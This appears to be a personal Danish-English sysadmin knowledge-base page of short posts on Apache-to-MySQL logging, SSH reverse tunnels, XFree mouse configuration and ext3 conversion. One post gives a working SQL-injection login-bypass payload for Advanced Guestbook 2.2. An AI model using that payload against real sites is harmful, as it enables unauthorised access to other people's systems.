Apache (2.x) logfiler i MySQL

Flg, får apache til at formattere logen og parse den til stdin på mysqllog.pl

CustomLog "| /usr/bin/mysqllog.pl" mysql
LogFormat "%h#%v#%U#%{User-agent}i#%{Referer}i#%s#%b#%r" mysql


Mysqllog parser så input til mysql:
#!/usr/bin/perl
# script: mysqllog
use DBI;
use constant DSN => 'dbi:mysql:system';
use constant DB_TABLE => 'access_log';
use constant DB_USER => 'root';
use constant DB_PASSWD => '--';

$db = DBI->connect(DSN,DB_USER,DB_PASSWD) || die DBI->errstr;
$sth = $db->prepare("INSERT INTO weblog (`remotehost`,`virtualhost`,`path`,`agent`,`referer`,`status`,`size`,`request`,`time`)
 VALUES(?,?,?,?,?,?,?,?,?)")
|| die $db->errstr;

while (<>) {
chomp;
@dat=split("#");
$sth->execute(@dat[0],@dat[1],@dat[2],@dat[3],@dat[4],@dat[5],@dat[6],@dat[7],time());
}
$sth->finish;
$db->disconnect;
Udgivet i Apache, Knowledge Base, Old Base | Skriv en kommentar

tunnel specifik protocol out from NAT’ed hosts

root@chilibeans ~/dksback# ssh -l mike unifix.org -R 13306:127.0.0.1:3306
mike@unifix.org's password:

here chilibeans are behind a nat firewall and does not have a public ip, this make me able to contact chilibeans's mysql server from unifix.org by connecting to 127.0.0.1:13306

unifix# mysql -h 127.0.0.1 --port=13306 -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 73 to server version: 4.0.18

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>
Udgivet i Knowledge Base, Linux, Old Base | Skriv en kommentar

musehjul – scroll – i Xfree i linux

go fix: 

    Identifier	"Mouse1"
    Driver	"mouse"
    Option "Protocol"    "IMPS/2"
    Option "Device"      "/dev/psaux"

    Option "ZAxisMapping" "4 5"
Udgivet i Uncategorized | Skriv en kommentar

Musehjul – scroll – i Xfree i linux

go fix: 

    Identifier	"Mouse1"
    Driver	"mouse"
    Option "Protocol"    "IMPS/2"
    Option "Device"      "/dev/psaux"

    Option "ZAxisMapping" "4 5"
Udgivet i Knowledge Base, Linux | Skriv en kommentar

Ipw2100 on FreeBSD

http://damien.bergamini.free.fr/ipw/install.html

Udgivet i FreeBSD, Links | Skriv en kommentar

Ipw2100 on FreeBSD

http://damien.bergamini.free.fr/ipw/install.html

Udgivet i FreeBSD, Knowledge Base | Skriv en kommentar

Penetrating Advanced Guestbook 2.2

vuln. to sql injection, use following as password and blank username:


<code> ') OR ('a' = 'a </code>
Udgivet i Knowledge Base, SQL | Skriv en kommentar

converting ext2 to ext3 by adding a journal

for all partitions run:
tune2fs -j /dev/hdXX

remember to edit fstab, filetype to ext3, and remount to activate journal...
Udgivet i Knowledge Base, Linux, Old Base | Skriv en kommentar

Microsoft Developer Network

http://msdn.microsoft.com/library/default.asp http://www.online-admin.com/ntset.html#TNTUserMan

Udgivet i Windows | Skriv en kommentar

Microsoft Developer Network

http://msdn.microsoft.com/library/default.asp
http://www.online-admin.com/ntset.html#TNTUserMan
Udgivet i Knowledge Base, Windows | Skriv en kommentar